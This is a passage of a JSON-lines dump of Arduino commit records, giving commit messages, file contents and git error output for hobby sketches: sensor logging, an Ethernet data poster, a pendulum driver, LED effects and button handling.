class=\"pl-c\">\/\/Write pressure data <\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L154\" class=\"blob-num js-line-number\" data-line-number=\"154\"><\/td>\n <td id=\"LC154\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L155\" class=\"blob-num js-line-number\" data-line-number=\"155\"><\/td>\n <td id=\"LC155\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(ax); <span class=\"pl-c\">\/\/Write ax to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L156\" class=\"blob-num js-line-number\" data-line-number=\"156\"><\/td>\n <td id=\"LC156\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L157\" class=\"blob-num js-line-number\" data-line-number=\"157\"><\/td>\n <td id=\"LC157\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(ay); <span class=\"pl-c\">\/\/Write ay to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L158\" class=\"blob-num js-line-number\" data-line-number=\"158\"><\/td>\n <td id=\"LC158\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L159\" class=\"blob-num js-line-number\" data-line-number=\"159\"><\/td>\n <td id=\"LC159\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(az); <span class=\"pl-c\">\/\/Write az to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L160\" class=\"blob-num js-line-number\" data-line-number=\"160\"><\/td>\n <td id=\"LC160\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L161\" class=\"blob-num js-line-number\" data-line-number=\"161\"><\/td>\n <td id=\"LC161\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(gx); <span class=\"pl-c\">\/\/Write gx to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L162\" class=\"blob-num js-line-number\" data-line-number=\"162\"><\/td>\n <td id=\"LC162\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L163\" class=\"blob-num js-line-number\" data-line-number=\"163\"><\/td>\n <td id=\"LC163\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(gy); <span class=\"pl-c\">\/\/Write gy to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L164\" class=\"blob-num js-line-number\" data-line-number=\"164\"><\/td>\n <td id=\"LC164\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L165\" class=\"blob-num js-line-number\" data-line-number=\"165\"><\/td>\n <td id=\"LC165\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(gz); <span class=\"pl-c\">\/\/Write gz to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L166\" class=\"blob-num js-line-number\" data-line-number=\"166\"><\/td>\n <td id=\"LC166\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L167\" class=\"blob-num js-line-number\" data-line-number=\"167\"><\/td>\n <td id=\"LC167\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(heading); <span class=\"pl-c\">\/\/Write heading to the SD card<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L168\" class=\"blob-num js-line-number\" data-line-number=\"168\"><\/td>\n <td id=\"LC168\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">print<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>,<span class=\"pl-pds\">"<\/span><\/span>); <span class=\"pl-c\">\/\/Write comma to the line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L169\" class=\"blob-num js-line-number\" data-line-number=\"169\"><\/td>\n <td id=\"LC169\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">println<\/span>(headingDegrees); <span class=\"pl-c\">\/\/Write headingDegrees to the SD card and go to next line<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L170\" class=\"blob-num js-line-number\" data-line-number=\"170\"><\/td>\n <td id=\"LC170\" class=\"blob-code blob-code-inner js-file-line\">mySensorData.<span class=\"pl-c1\">close<\/span>(); <span class=\"pl-c\">\/\/Close the file<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L171\" class=\"blob-num js-line-number\" data-line-number=\"171\"><\/td>\n <td id=\"LC171\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n <tr>\n <td id=\"L172\" class=\"blob-num js-line-number\" data-line-number=\"172\"><\/td>\n <td id=\"LC172\" class=\"blob-code blob-code-inner js-file-line\">}<\/td>\n <\/tr>\n<\/table>\n\n <\/div>\n\n<\/div>\n\n<button type=\"button\" data-facebox=\"#jump-to-line\" data-facebox-class=\"linejump\" data-hotkey=\"l\" class=\"d-none\">Jump to Line<\/button>\n<div id=\"jump-to-line\" style=\"display:none\">\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\" class=\"js-jump-to-line-form\" method=\"get\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><\/div>\n <input class=\"form-control linejump-input js-jump-to-line-field\" type=\"text\" placeholder=\"Jump to line…\" aria-label=\"Jump to line\" autofocus>\n <button type=\"submit\" class=\"btn\">Go<\/button>\n<\/form><\/div>\n\n <\/div>\n <div class=\"modal-backdrop js-touch-events\"><\/div>\n<\/div>\n\n\n <\/div>\n <\/div>\n\n <\/div>\n\n <div class=\"container site-footer-container\">\n <div class=\"site-footer\" role=\"contentinfo\">\n <ul class=\"site-footer-links float-right\">\n <li><a href=\"https:\/\/github.com\/contact\" data-ga-click=\"Footer, go to contact, text:contact\">Contact GitHub<\/a><\/li>\n <li><a href=\"https:\/\/developer.github.com\" data-ga-click=\"Footer, go to api, text:api\">API<\/a><\/li>\n <li><a href=\"https:\/\/training.github.com\" data-ga-click=\"Footer, go to training, text:training\">Training<\/a><\/li>\n <li><a href=\"https:\/\/shop.github.com\" data-ga-click=\"Footer, go to shop, text:shop\">Shop<\/a><\/li>\n <li><a href=\"https:\/\/github.com\/blog\" data-ga-click=\"Footer, go to blog, text:blog\">Blog<\/a><\/li>\n <li><a href=\"https:\/\/github.com\/about\" data-ga-click=\"Footer, go to about, text:about\">About<\/a><\/li>\n\n <\/ul>\n\n <a href=\"https:\/\/github.com\" aria-label=\"Homepage\" class=\"site-footer-mark\" title=\"GitHub\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-mark-github\" height=\"24\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"24\"><path d=\"M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z\"><\/path><\/svg>\n<\/a>\n <ul class=\"site-footer-links\">\n <li>© 2016 <span title=\"0.08608s from github-fe165-cp1-prd.iad.github.net\">GitHub<\/span>, Inc.<\/li>\n <li><a href=\"https:\/\/github.com\/site\/terms\" data-ga-click=\"Footer, go to terms, text:terms\">Terms<\/a><\/li>\n <li><a href=\"https:\/\/github.com\/site\/privacy\" data-ga-click=\"Footer, go to privacy, text:privacy\">Privacy<\/a><\/li>\n <li><a href=\"https:\/\/github.com\/security\" data-ga-click=\"Footer, go to security, text:security\">Security<\/a><\/li>\n <li><a href=\"https:\/\/status.github.com\/\" data-ga-click=\"Footer, go to status, text:status\">Status<\/a><\/li>\n <li><a href=\"https:\/\/help.github.com\" data-ga-click=\"Footer, go to help, text:help\">Help<\/a><\/li>\n <\/ul>\n <\/div>\n<\/div>\n\n\n\n \n\n <div id=\"ajax-error-message\" class=\"ajax-error-message flash flash-error\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-alert\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z\"><\/path><\/svg>\n <button type=\"button\" class=\"flash-close js-flash-close js-ajax-error-dismiss\" aria-label=\"Dismiss error\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-x\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z\"><\/path><\/svg>\n <\/button>\n You can't perform that action at this time.\n <\/div>\n\n\n \n <script crossorigin=\"anonymous\" integrity=\"sha256-iEca8f7ED\/lBjvvi3dFbaJavjXcvgXkATCVN\/8JepJA=\" src=\"https:\/\/assets-cdn.github.com\/assets\/frameworks-88471af1fec40ff9418efbe2ddd15b6896af8d772f8179004c254dffc25ea490.js\"><\/script>\n <script async=\"async\" crossorigin=\"anonymous\" integrity=\"sha256-yhg8CAXUs47pst9t2qC5G3K02OJMnr+wEZUpBaiaedQ=\" src=\"https:\/\/assets-cdn.github.com\/assets\/github-ca183c0805d4b38ee9b2df6ddaa0b91b72b4d8e24c9ebfb011952905a89a79d4.js\"><\/script>\n \n \n \n \n \n \n <div class=\"js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-alert\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z\"><\/path><\/svg>\n <span class=\"signed-in-tab-flash\">You signed in with another tab or window. <a href=\"\">Reload<\/a> to refresh your session.<\/span>\n <span class=\"signed-out-tab-flash\">You signed out in another tab or window. <a href=\"\">Reload<\/a> to refresh your session.<\/span>\n <\/div>\n <div class=\"facebox\" id=\"facebox\" style=\"display:none;\">\n <div class=\"facebox-popup\">\n <div class=\"facebox-content\" role=\"dialog\" aria-labelledby=\"facebox-header\" aria-describedby=\"facebox-description\">\n <\/div>\n <button type=\"button\" class=\"facebox-close js-facebox-close\" aria-label=\"Close modal\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-x\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z\"><\/path><\/svg>\n <\/button>\n <\/div>\n<\/div>\n\n <\/body>\n<\/html>\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'STAB_1_code\/Old_Arduino_Code\/STAB_1_code.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7b907eb48b75435772ef1d8053041d1924fd8b79","subject":"that should give the value","message":"that should give the value\n\nbut somehow does not\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"Arduino Tests\/StallGuardTest\/SGHome.ino","new_file":"Arduino Tests\/StallGuardTest\/SGHome.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"71943c53aa371c1a47df929e7b835b36819394b5","subject":"for communication. update print to println","message":"for communication. update print to println\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec22e3707ce28e4826c1ce0fbc140e5ebe524bcd","subject":"Code clean-up.","message":"Code clean-up.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"b8531c7ab4d0558d2a90a3970bb7e4a74a04edf7","subject":"Removed one of the programs. Arduino is now our only main program.","message":"Removed one of the programs. Arduino is now our only main program.\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/project_demo\/project_demo.ino","new_file":"Software\/project_demo\/project_demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"33152b34fdffce956493c34048746b075f26e7b4","subject":"initial commit","message":"initial commit\n\nSensorProject - Receiver\n","repos":"hailspuds\/SensorProject---Receiver","old_file":"SensorProject_Receiver.ino","new_file":"SensorProject_Receiver.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <Phant.h>\n \nchar server[] = \"data.sparkfun.com\";\nPhant phant(\"data.sparkfun.com\", \"public_key\", \"private_key\");\nint randNumber;\nint randNumber2;\nint randNumber3;\nint randNumber4;\n\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\/\/ the dns server ip\nIPAddress dnServer(192, 168, 1, 254);\n\/\/ the router's gateway address:\nIPAddress gateway(192, 168, 1, 254);\n\/\/ the subnet:\nIPAddress subnet(255, 255, 255, 0);\n\/\/the IP address is dependent on your network\nIPAddress ip(192, 168, 1, 23);\n\nEthernetClient client;\n\nvoid setup() {\n Serial.begin(9600);\n delay(2000);\n \/\/ initialize the ethernet device\n Ethernet.begin(mac, ip, dnServer, gateway, subnet);\n \/\/print out the IP address\n Serial.print(\"IP = \");\n Serial.println(Ethernet.localIP());\n randomSeed(analogRead(0));\n}\n \nvoid loop() {\n randNumber = random(300);\n randNumber2 = random(300);\n randNumber3 = random(300);\n randNumber4 = random(300);\n\n Serial.println(\"Starting...\");\n httppost();\n Serial.println(\"disconnecting.\");\n client.stop();\n delay(10000);\n \n}\n\nvoid httppost()\n{\n \/\/if (!(client.connect(server, 80)))\n if (client.connect(server, 80))\n {\n phant.add(\"light\", \"Random Numbers:\");\n phant.add(\"random1\", randNumber4);\n phant.add(\"random2\", randNumber3);\n phant.add(\"room\", randNumber2);\n phant.add(\"temp\", randNumber);\n client.println(phant.post());\n \n Serial.println(\"----POSTED TEST URL:----\");\n \/\/Serial.println(phant.url());\n \n \/\/Serial.println(\"----POSTED POST:----\");\n \/\/Serial.println(phant.post());\n \n \/\/client.println(phant.post());\n }\n else\n {\n Serial.println(\"Nothing happening...\");\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"9bab248f9a18ad3dc663654a620bce07372f5300","subject":"New file - driven pendulum using electromagnet and photogate control","message":"New file - driven pendulum using electromagnet and photogate control\n","repos":"jeremykenedy\/arduino","old_file":"VernierPendulumDriver\/VernierPendulumDriver.ino","new_file":"VernierPendulumDriver\/VernierPendulumDriver.ino","new_contents":"\/*\nVernierPendulumDriver (v 2015.03)\nThis sketch assumes that a Vernier Photogate is connected to BTD 1 and a \nVernier Digital Control Unit (DCU) is connected to BTD2.\n\nThe sketch is designed to drive a pendulum with a magnetic bob to \nkeep it swinging \"forever\". When the pendulum passes through the Photogate, it\ntriggers a short digital output from the DCU to an electromagnet. The \nelectromagnet should be situated just below the low point of the pendulum bob's\nswing. The photogate should be situated so that the bob goes through it as it \nmoves downward. The electromagnet will go on to pull the bob downward to add\nenergy to the pendulumn system.\n\nThe sketch also flashes an LED connected to D13 when the photogate is blocked,\nand notes the times at which the pendulum blocks the photogate.\n\nStart the sketch and then start the pendulum swinging with the bob going\nthrough the photogate before it reaches the bottom of the swing.\n\nSee www.vernier.com\/arduino for more information.\n\n *\/\nunsigned long Timems = 0; \/\/Time in ms\nunsigned long PreviousTime= 0;\/\/ remember the previous time\nint PhotogatePin =2; \/\/\nint Photogate = HIGH;\/\/ not blocked is HIGH\nint PreviousPhotogate=HIGH;\n\nint Count=1; \/\/used to determine which direction the pendulum is swinging\nint LEDpin =13;\/\/\/ line for LED to turn on when photogate is blocked\nint DCUline = 6;\/\/This line will turn on the first line of the DCU, if\n\/\/ the DCU is connected to BTD2\nvoid setup() \n {\n Serial.begin(9600); \/\/ set up Serial library at 9600 bps\n pinMode (PhotogatePin,INPUT);\n pinMode(DCUline, OUTPUT);\n pinMode(LEDpin, OUTPUT);\n Serial.println(\"Vernier Format 2\");\n Serial.println(\"Photogate periods taken using Ardunio\");\n Serial.print(\"Swing\");\n Serial.print(\"\\t\"); \/\/tab character\n Serial.println (\"Time\"); \/\/change to match sensor\n Serial.print(\"#\");\n Serial.print(\"\\t\"); \/\/ tab character\n Serial.println (\"milliseconds\");\n };\/\/ end of setup\n \nvoid loop ()\n{\n Photogate = digitalRead(PhotogatePin);\/\/low when blocked\n if (Photogate == LOW) \/\/low when blocked\n { \n digitalWrite(LEDpin, HIGH);\n if (PreviousPhotogate == HIGH) \/\/ if the photogate has just gone to the blocked state\n { \n Count++; \/\/increment count of times photogate has been blocked\n if (Count % 2 == 0)\/\/ if the bob is moving in the right direction\n {\n Timems = millis() ;\n digitalWrite(DCUline, HIGH); \/\/ turn on DCU line 1 and the electromagnet DCU line\n \/\/ and print out the swing number and period\n Serial.print(Count);\n Serial.print(\"\\t\"); \/\/ tab character\n Serial.println(Timems-PreviousTime);\n PreviousTime= Timems; \/\/ remember the previous time\n }\/\/ end of the section for action take at the end of the complete swing\n } \/\/ end of photogate just gone blocked section\n }\/\/ end of if photogate blocked\n else \/\/photogate not blocked:\n {\n digitalWrite(DCUline, LOW);\/\/ turn off DCU line 1 and the electromagnet\n digitalWrite(LEDpin, LOW);\/\/ turn off LED\n }\n PreviousPhotogate = Photogate;\n } ;\/\/ end of loop\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VernierPendulumDriver\/VernierPendulumDriver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f57122c8f7de0a4f64ba65efd76d559ec5853ba","subject":"Create setupFunctions.ino","message":"Create setupFunctions.ino","repos":"martinloland\/rov,martinloland\/rov","old_file":"arduino\/setupFunctions.ino","new_file":"arduino\/setupFunctions.ino","new_contents":"void startPins(){\n\t\n}\n\nvoid initialize(){\n\t\/\/panServo.attach(panPin);\n\t\/\/panServo.attach(tiltPin);\n\tmpuSetup();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/setupFunctions.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"225bfba67b0bb48177071adde80beb1c25a9ee79","subject":"undo test","message":"undo test\n","repos":"csgregg\/maker","old_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/csgregg\/maker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bbe1cb7b674a331e79f18ff90ee2d4f1d5a06316","subject":"Adding a new cylon eye type example","message":"Adding a new cylon eye type example\n","repos":"neographophobic\/FastLED,wsilverio\/FastLED,eshkrab\/FastLED-esp32,kcouck\/FastLED,PaulStoffregen\/FastLED,PaulStoffregen\/FastLED,MattDurr\/FastLED,tullo-x86\/FastLED,wilhelmryan\/FastLED,yaneexy\/FastLED,ryankenney\/FastLED,MattDurr\/FastLED,liyanage\/FastLED,FastLED\/FastLED,felixLam\/FastLED,FastLED\/FastLED,liyanage\/FastLED,felixLam\/FastLED,MiketheChap\/FastLED,ryankenney\/FastLED,FastLED\/FastLED,corbinstreehouse\/FastLED,MiketheChap\/FastLED,FastLED\/FastLED,kcouck\/FastLED,remspoor\/FastLED,yaneexy\/FastLED,neographophobic\/FastLED,wilhelmryan\/FastLED,PaulStoffregen\/FastLED,eshkrab\/FastLED-esp32,NicoHood\/FastLED,NicoHood\/FastLED,corbinstreehouse\/FastLED,tullo-x86\/FastLED,wsilverio\/FastLED,remspoor\/FastLED","old_file":"examples\/Cylon\/Cylon.ino","new_file":"examples\/Cylon\/Cylon.ino","new_contents":"#include \"FastLED.h\"\n\n\/\/ How many leds in your strip?\n#define NUM_LEDS 6\n\n\/\/ For led chips like Neopixels, which have a data line, ground, and power, you just\n\/\/ need to define DATA_PIN. For led chipsets that are SPI based (four wires - data, clock,\n\/\/ ground, and power), like the LPD8806 define both DATA_PIN and CLOCK_PIN\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n\n\/\/ Define the array of leds\nCRGB leds[NUM_LEDS];\n\nvoid setup() { \n\tFastLED.addLeds<NEOPIXEL, DATA_PIN>(leds, NUM_LEDS);\n}\n\nvoid loop() { \n\t\/\/ First slide the led in one direction\n\tfor(int i = 0; i < NUM_LEDS; i++) {\n\t\t\/\/ Set the i'th led to red \n\t\tleds[i] = CRGB::Red;\n\t\t\/\/ Show the leds\n\t\tFastLED.show();\n\t\t\/\/ now that we've shown the leds, reset the i'th led to black\n\t\tleds[i] = CRGB::Black;\n\t\t\/\/ Wait a little bit before we loop around and do it again\n\t\tdelay(30);\n\t}\n\n\t\/\/ Now go in the other direction. \n\tfor(int i = NUM_LEDS-1; i >= 0; i--) {\n\t\t\/\/ Set the i'th led to red \n\t\tleds[i] = CRGB::Red;\n\t\t\/\/ Show the leds\n\t\tFastLED.show();\n\t\t\/\/ now that we've shown the leds, reset the i'th led to black\n\t\tleds[i] = CRGB::Black;\n\t\t\/\/ Wait a little bit before we loop around and do it again\n\t\tdelay(30);\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Cylon\/Cylon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"02ee4ec2fc3047744c055e8d5622db876134cf44","subject":"Initial commit","message":"Initial commit\n","repos":"anroots\/teensy-moonica","old_file":"teensy_octo.ino","new_file":"teensy_octo.ino","new_contents":"\/**\nhttp:\/\/www.pjrc.com\/teensy\/td_libs_Bounce.html\nhttp:\/\/www.pjrc.com\/teensy\/pinout.html\n**\/\n\n#include <Bounce.h>\n\n#define DEBOUNCE 10 \/\/ Number of ms to debounce\n\n#define NUMBER_OF_BUTTONS 8\n\n\/\/ Define pins for the buttons\nconst byte BUTTON_PINS[] = {0, 1, 2, 3, 13, 16, 17, 18};\n\nBounce buttons[NUMBER_OF_BUTTONS] = {\n Bounce( BUTTON_PINS[0], DEBOUNCE),\n Bounce( BUTTON_PINS[1], DEBOUNCE),\n Bounce( BUTTON_PINS[2], DEBOUNCE),\n Bounce( BUTTON_PINS[3], DEBOUNCE),\n Bounce( BUTTON_PINS[4], DEBOUNCE),\n Bounce( BUTTON_PINS[5], DEBOUNCE),\n Bounce( BUTTON_PINS[6], DEBOUNCE),\n Bounce( BUTTON_PINS[7], DEBOUNCE)\n};\n\n\/\/ Define pins for the RGB LED\nconst int RGB_RED = 4;\nconst int RGB_GREEN = 20;\nconst int RGB_BLUE = 21;\n\nvoid setup() {\n Serial.begin(38400);\n \n \/\/ Initialize pushbutton pins\n for (int i = 0; i < NUMBER_OF_BUTTONS; i++) {\n pinMode(BUTTON_PINS[i], INPUT_PULLUP);\n }\n\n pinMode(RGB_RED, OUTPUT); \n pinMode(RGB_GREEN, OUTPUT);\n pinMode(RGB_BLUE, OUTPUT);\n \n analogWrite(RGB_RED, 250);\n analogWrite(RGB_GREEN, 255);\n analogWrite(RGB_BLUE, 255);\n \n pinMode(11, OUTPUT); \n}\n\nvoid checkButtons() {\n for (int i = 0; i < NUMBER_OF_BUTTONS; i++) {\n if (buttons[i].update() && buttons[i].read()) {\n Serial.println(i);\n }\n}\n}\n\nvoid loop() \n{\n \n checkButtons(); \n\n \/\/ Blink LED for debugging, just to see that it works\n digitalWrite(11, HIGH);\n delay(100);\n digitalWrite(11, LOW); \n delay(300); \n}\n\n\n\nvoid buttonPress(int buttonNumber) {\n Serial.println(buttonNumber);\n switch (buttonNumber){\n case 0:\n analogWrite(RGB_RED, 200);\n break;\n case 1:\n analogWrite(RGB_GREEN, 200);\n break;\n case 2:\n analogWrite(RGB_BLUE, 200);\n break;\n }\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"f86e36abd34f379f4c57247e29a778e1ff1fc993","subject":"Snow Crash Dual Mode","message":"Snow Crash Dual Mode\n","repos":"Comingle\/Comingle_Example_Sketches","old_file":"Mod\/E-Stim\/TCDS__Dual-State-Pot\/TCDS__Dual-State-Pot.ino","new_file":"Mod\/E-Stim\/TCDS__Dual-State-Pot\/TCDS__Dual-State-Pot.ino","new_contents":"\/* Snow Crash: TcDS\n\n\nbased mostly off blinkwithoutdelay:\n created 2005\n by David A. Mellis\n modified 8 Feb 2010\n by Paul Stoffregen\n \n This example code is in the public domain.\n *\/\n\n\/\/ constants won't change. Used here to \n\/\/ set pin numbers:\nconst int ledPin = 6; \/\/ This is the Analog input\nconst int inputPin = 9;\n\/\/ Variables will change:\nint ledState = LOW; \/\/ ledState used to set the LED\nlong previousMillis = 0; \/\/ will store last time LED was updated\n\n\/\/ the follow variables is a long because the time, measured in miliseconds,\n\/\/ will quickly become a bigger number than can be stored in an int.\nlong interval =120; \/\/ interval at which to blink (milliseconds)\n\nint brightness = 0; \/\/ how bright the LED is\nint fadeAmount = 5; \/\/ how many points to fade the LED by\n\nvoid setup() {\n \/\/ set the digital pin as output:\n pinMode(ledPin, OUTPUT); \n Serial.begin(9600); \n pinMode(5, OUTPUT);\n \n \n \/\/Set up the multiplexer to choose the correct style of inputs on hacker port\n pinMode(8, OUTPUT);\n pinMode(12, OUTPUT);\n digitalWrite(8, LOW);\n digitalWrite(12, LOW);\n \n \/\/For some CRAZY REASON A8 is called pin 